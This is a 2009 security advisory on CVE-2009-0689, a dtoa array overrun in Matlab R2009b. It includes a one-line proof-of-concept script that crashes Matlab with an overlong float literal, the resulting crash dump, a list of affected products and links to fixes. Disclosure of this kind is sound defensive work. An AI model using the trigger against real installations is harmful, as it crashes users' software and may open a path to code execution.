[ Matlab R2009b Array Overrun (code execution) ] Author: Maksymilian Arciemowicz and sp3x Date: - - Dis.: 07.05.2009 - - Pub.: 08.01.2009 CVE: CVE-2009-0689 CWE: CWE-119 Risk: High Remote: Yes Affected Software: - - Matlab R2009b NOTE: Prior versions may also be affected. - --- 0.Description --- MATLAB is a numerical computing environment and fourth generation programming language. Developed by The MathWorks, MATLAB allows matrix manipulation, plotting of functions and data, implementation of algorithms, creation of user interfaces, and interfacing with programs in other languages. Although it is numeric only, an optional toolbox uses the MuPAD symbolic engine, allowing access to computer algebra capabilities. An additional package, Simulink, adds graphical multidomain simulation and Model-Based Design for dynamic and embedded systems. In 2004, MathWorks claimed that MATLAB was used by more than one million people across industry and the academic world - --- 1. Matlab 2009b Array Overrun (code execution) --- The main problem exist in dtoa implementation. Matlab has the same dtoa as Mozilla, OpenBSD, MacOS, Google, Opera etc. and it is the same like SREASONRES:20090625. http://securityreason.com/achievement_securityalert/63 but fix for SREASONRES:20090625, used by openbsd was not good. More information about fix for openbsd and similars SREASONRES:20091030, http://securityreason.com/achievement_securityalert/69 We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16<= elements of freelist array. - --- 2. Proof of Concept (PoC) --- There are several ways to make a successful attack. Simplest assumed the creation of a script with a defective floating-point variable and execution it. This will allow the possibility of code execution. - -expl.m---------------------- cxib=0.<?php echo str_repeat("1",296450); ?> - -expl.m---------------------- MATLAB crash file:C:\DOCUME~1\WinXPae\USTAWI~1\Temp\matlab_crash_dump.552 - ------------------------------------------------------------------------ Segmentation violation detected at Wed Dec 03 12:04:02 2009 - ------------------------------------------------------------------------ Configuration: MATLAB Version: 7.9.0.529 (R2009b) MATLAB License: [PRIV] Operating System: Microsoft Windows XP Window System: Version 5.1 (Build 2600: Dodatek Service Pack 3) Processor ID: x86 Family 6 Model 7 Stepping 6, GenuineIntel Virtual Machine: Java 1.6.0_12-b04 with Sun Microsystems Inc. Java HotSpot(TM) Client VM mixed mode Default Encoding: windows-1250 Fault Count: 1 Register State: EAX = 71c71c71 EBX = 188ade48 ECX = 0000000a EDX = 188adde0 ESI = 00000002 EDI = 00000003 EBP = 00c3dec0 ESP = 00c3de90 EIP = 7baf965e FLG = 00010206 Stack Trace: [0] libut.dll:_Balloc(0x188adde0, 0x188ade48, 10, 1) + 14 bytes [1] libut.dll:_s2b(0x188adde0, 333333, 333333, 0x069f6bc7) + 112 bytes [2] libut.dll:_ut_strtod(0x188adde0, 0x19a80048 "0.111111111111111111111111111111..", 0x00c3e024, 0x00c3e028) + 1123 bytes [3] m_ir.dll:_mps_parse_matlab_real(0x188ad9f0, 0x00c3e068, 11, 0) + 576 bytes [4] m_parser.dll:_mps_convert_M_NUMBER(0x188afb90, 0x1971d070, 0x1971d048, 0x188afb90) + 71 bytes [5] m_parser.dll:_mps_convert_lval(0x188afb90, 0x1971d048, 0x1971d070, 0) + 224 bytes [6] m_parser.dll:_mps_convert_M_Primary_4(0x188afb90, 0x1971d084, 0x1971d0e8, 0x188afb90) + 191 bytes [7] m_parser.dll:_mps_convert_M_Stmt_2(0x188afb90, 0x1971d0d4, 0x1971d0e8, 0x188afb90) + 247 bytes [8] m_parser.dll:_mps_convert_M_Stmts_2(0x188afb90, 0x1971d0e8, 0x188afb90, 0x199d95b0) + 703 bytes [9] m_parser.dll:_mps_make_M_body_from_parse_tree(0x1971d0e8, 0, 333337, 0) + 1283 bytes [10] m_parser.dll:_mps_convert_script(0x00c3e788, 18, 0x00c3e550 "&#240;&#229;&#195;", 0x7a36323f) + 1073 bytes [11] m_parser.dll:_mps_convert_M_File_1(0x188afb90, 0x189b3960, 0x188afb90, 0x189b3960) + 66 bytes [12] m_parser.dll:_mps_M_to_IR_eval(0x00c3e7b4, 0x00c3e774, 0x00c3e778, 0x00c3e77c) + 1471 bytes [13] m_parser.dll:_mps_M_to_IR(0x00c3e80f, 0x00c3e7b4, 0x00c3e774, 0x00c3e778) + 307 bytes [14] m_interpreter.dll:public: void __thiscall Mfh_mp::inCompileMfile(char const *)(0x03ba1a86 "C:\Documents And Settings\WinXPa..", 1, 0x1977c300 ".z", 0x00850000) + 492 bytes [15] m_interpreter.dll:public: void __thiscall Mfh_mp::inCompileMOrLoadPFile(void)(0, 0x7a1459e2, 1, 0x1977c300 ".z") + 266 bytes [16] m_interpreter.dll:public: virtual void __thiscall Mlm_mp::load_file(void)(0, 0x1977c300 ".z", 0, 0x78134c58) + 32 bytes [17] m_dispatcher.dll:public: void __thiscall Mlm_MATLAB_fn::try_load(void)(0x19728978, 0x78159334, 1, 0x00c3ee54 "&#216;&#239;&#195;") + 71 bytes [18] m_dispatcher.dll:public: void __thiscall Mlm_MATLAB_fn::load(void)(0, 0x19728978, 0, 0xffffffff) + 76 bytes [19] m_dispatcher.dll:public: virtual void __thiscall Mfh_file::dispatch_fh(int,struct mxArray_tag * *,int,struct mxArray_tag * *)(0, 0x00c3ef04, 0, 0x00c3ef64) + 364 bytes [20] m_interpreter.dll:int __cdecl inDispatchFromStack(int,char const *,int,int)(828, 0, 0, 0) + 623 bytes [21] m_interpreter.dll:_inCallFcnFromReference(0x19860138, 0x198d00e0, 0, 0x02850000) + 80 bytes [22] m_interpreter.dll:int __cdecl inInterp(enum inDebugCheck,int,int,enum opcodes,struct inPcodeNest_tag volatile *,int *)(1, 0, 1, 0) + 6204 bytes [23] m_interpreter.dll:int __cdecl protected_inInterp(enum inDebugCheck,int,int,enum opcodes,struct inPcodeNest_tag *,int *)(1, 0, 1, 0) + 39 bytes [24] m_interpreter.dll:int __cdecl inInterPcodeSJ(enum inDebugCheck,int,int,enum opcodes,struct inPcodeNest_tag *,int *)(1, 0, 1, 0) + 251 bytes [25] m_interpreter.dll:int __cdecl inExecuteMFunctionOrScript(class Mfh_mp *,bool)(0x02850001, 0xffffffff, 0x19a187b0, 0) + 924 bytes [26] m_interpreter.dll:void __cdecl inRunMfile(int,struct mxArray_tag * *,int,struct mxArray_tag * *,class Mfh_mp *,struct inWorkSpace_tag *)(0, 0x00c3f988, 0, 0) + 466 bytes [27] m_interpreter.dll:public: virtual void __thiscall Mfh_mp::dispatch_file(struct _mdUnknown_workspace *,int,struct mxArray_tag * *,int,struct mxArray_tag * *)(0, 0, 0x00c3f988, 0) + 23 bytes [28] m_interpreter.dll:public: virtual void __thiscall Mfh_mp::dispatch_file(int,struct mxArray_tag * *,int,struct mxArray_tag * *)(0, 0x00c3f988, 0, 0) + 25 bytes [29] m_dispatcher.dll:public: virtual void __thiscall Mfh_file::dispatch_fh(int,struct mxArray_tag * *,int,struct mxArray_tag * *)(0, 0x00c3f988, 0, 0) + 204 bytes [30] m_interpreter.dll:void __cdecl inEvalPcodeHeaderToWord(struct _memory_context *,int,struct mxArray_tag * * const,struct _pcodeheader *,class Mfh_mp *,unsigned long)(0x7bb796d4, 0, 0x00c3f988, 0x00c3f898) + 73 bytes [31] m_interpreter.dll:enum inExecutionStatus __cdecl in_local_call_script_function(struct _memory_context *,struct _pcodeheader *,int,struct mxArray_tag * * const,unsigned long,bool)(0x7bb796d4, 0x00c3f898, 0, 0x00c3f988) + 70 bytes [32] m_interpreter.dll:__catch$??1inProtectHotSegment@@QAE@XZ$0(0x7bb796d4, 0x03ae5b90 "ma\n", 0, 0) + 888 bytes [33] m_interpreter.dll:enum inExecutionStatus __cdecl inEvalCmdWithLocalReturn(char const *,int *,bool,bool,bool (__cdecl*)(void *,char const *))(0x03ae5b90 "ma\n", 0, 0, 1) + 80 bytes [34] m_interpreter.dll:public: virtual enum inExecutionStatus __thiscall InterpBridge::EvalCmdWithLocalReturn(char const *,int *,bool,bool)(0x03ae5b90 "ma\n", 0, 0, 1) + 25 bytes [35] m_interpreter.dll:_inEvalCmdWithLocalReturn(0x03ae5b90 "ma\n", 0, 0, 1) + 30 bytes [36] bridge.dll:enum inExecutionStatus __cdecl evalCommandWithLongjmpSafety(char const *)(0x03ae5b90 "ma\n", 0, 0x18894ac8, 0) + 67 bytes [37] bridge.dll:__catch$_mnParser$0(0x03d0b378, 0, 0x068ce201, 1) + 300 bytes [38] mcr.dll:private: void __thiscall mcrInstance::mnParser_on_interpreter_thread(void)(0x18894b00, 0x066fe5dc, 10, 0x00c3fccc) + 51 bytes [39] mcr.dll:public: void __thiscall boost::function0<void>::operator()(void)const (0, 0x18894ac8, 0, 0x18894ac8) + 63 bytes [40] mcr.dll:public: virtual void __thiscall mcr::runtime::InterpreterThread::Impl::NoResultInvocationRequest::run(void)(0x7a27a800, 0x066fe000 "...y", 0x00c3fb54, 0) + 53 bytes [41] mcr.dll:private: static void __cdecl mcr::runtime::InterpreterThread::Impl::invocation_request_handler(int)(0x18894ac8, 0, 0x00030000 "Actx ", 0x00c3fcb4) + 40 bytes [42] uiw.dll:bool __cdecl UIW_DispatchUserMessage(int,int)(9225, 0x18894ac8, 0x00c3fcb4, 2) + 81 bytes [43] uiw.dll:long __stdcall HandleUserMsgHook(int,unsigned int,long)(0, 1, 0x00c3fcb4, 0x79c73540) + 95 bytes [44] USER32.dll:0x7e381923(0x00030000 "Actx ", 1, 0x00c3fcb4, 0x7b38edd0) [45] USER32.dll:0x7e37b317(0x00c3fca4, 0x00c3fcb4, 0x00c3fcd0, 0) [46] USER32.dll:0x7e3778d0(0x00c3fca4, 48, 0x00030000 "Actx ", 1) [47] ntdll.dll:0x7c90e473(0x00c3fd20, 0, 0, 0) [48] uiw.dll:void __cdecl UIW_GetAndDispatchMessage(struct tagMSG *)(0x00c3fd20, 2, 2, 0x18894ac8) + 20 bytes [49] uiw.dll:void __cdecl UIW_GetAndDispatchMessage(void)(0x03cddcf0, 0, 0x03d40d00, 0) + 15 bytes [50] uiw.dll:void __cdecl ws_ProcessPendingEventsMainLoop(int,bool)(1, 0, 0x00c3fdbc "&#195;", 0x7a27d26a) + 356 bytes [51] uiw.dll:void __cdecl ws_ProcessPendingEvents(int,int)(1, 0xffffffff, 0x03cddcf0, 0x03d40d00) + 14 bytes [52] mcr.dll:public: void __thiscall mcr::runtime::InterpreterThread::Impl::process_events(class boost::shared_ptr<class mcr::runtime::InterpreterThread::Impl> const &)(0x00c3fe14, 2, 0x03d40768, 0x046add8c) + 138 bytes [53] mcr.dll:__catch$?run@Impl@InterpreterThread@runtime@mcr@@QAEKABV?$shared_ptr@VImpl@InterpreterThread@runtime@mcr@@@boost@@PAUinit_context@1234@@Z$0(0x00c3fe14, 0x03d44280, 0x7a27d630, 0x03d3d710) + 128 bytes [54] mcr.dll:unsigned long __cdecl run_init_and_handle_events(void *)(0x046add8c, 0, 0x03d40708, 0) + 76 bytes [55] mcr.dll:private: void __thiscall mcr::runtime::InterpreterThreadFactory::runThreadFunction(void)(0x00c3fec8, 0x00c3fe80, 0x00c3fe84 "&#240;&#254;&#195;", 0x7bafb34c) + 108 bytes [56] matlab.exe:public: void __thiscall boost::function0<void>::operator()(void)const (336710, 0x0040b7f4, 0, 0x78131731) + 63 bytes [57] matlab.exe:int __cdecl mcrMain(int,char const * * const)(1, 0x03d43378, 4194304, 1) + 230 bytes [58] matlab.exe:_WinMain@16(4194304, 0, 336710, 1) + 75 bytes [59] matlab.exe:___tmainCRTStartup(1068244, 514808, 0x7ffde000, 0x80544c7d) + 320 bytes [60] kernel32.dll:0x7c817077(0x00406faa, 0, 0x00905a4d, 3) eax=0x71c71c71 edi=0x0 esi=0x2 - --- 3. SecurityReason Note --- Officialy SREASONRES:20090625 has been detected in: - - OpenBSD - - NetBSD - - FreeBSD - - MacOSX - - Google Chrome - - Mozilla Firefox - - Mozilla Seamonkey - - Mozilla Thunderbird - - Mozilla Sunbird - - Mozilla Camino - - KDE (example: konqueror) - - Opera - - K-Meleon - - F-Lock - - MatLab - - J This list is not yet closed. - --- 4. Fix --- NetBSD fix (optimal): http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h OpenBSD fix: http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c - --- 5. Credits --- Discovered by sp3x and Maksymilian Arciemowicz from SecurityReason.com. - --- 6. Greets --- Infospec p_e_a pi3